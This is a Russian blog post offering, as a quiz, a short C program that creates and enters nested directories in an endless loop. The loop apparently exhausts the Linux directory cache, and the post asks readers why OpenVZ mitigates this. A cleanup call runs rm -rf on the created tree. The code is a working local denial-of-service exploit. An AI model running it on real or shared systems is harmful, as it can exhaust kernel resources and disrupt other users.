k001
k001
:...

April 2032
        1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30

k001 [userpic]
mkdir/chdir эксплойт

Update: сей пост был как-то неправильно опубликован и посему не попал, похоже, во френдленты. Посему выкладываю его вновь.

Судя по всему, читателям моей уютненькой жежешечки понравился эксплойт из предыдущего сообщения. Поэтому я решил

  1. Привести его текст полностью.
  2. Устроить что-то вроде викторины.

Собственно, вот текст программы:

#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define DIRNAME "dcache-test-dir"

int main(void) {
        int i = 0;
        char dir[1024];
        
        getcwd(dir, sizeof(dir));
        
        while (1) {
                if (mkdir(DIRNAME, S_IRWXU) < 0) {
                        perror("Can't mkdir");
                        break;
                }
                if (chdir(DIRNAME) < 0) {
                        perror("Can't chdir");
                        break;
                }
                i++;
        }

        printf("Created/entered into %d directories!\n", i);
        /* Cleanup */
        chdir(dir);
        system("rm -rf " DIRNAME);
        return 1;
}

Вопросы будут такие:

  1. Что и почему произойдёт в Линукс-системе, где такое запустят?
  2. Почему OpenVZ от этого помогает?

Комменты скринятся. Сам отвечу в понедельник после обеда.

Tags: , ,
Comments

rm — это не часть эксплойта, это просто клинап, что и указано в комментарии. Эксплойт — это mkdir/chdir в бесконечном цикле (пока не вернут ошибку).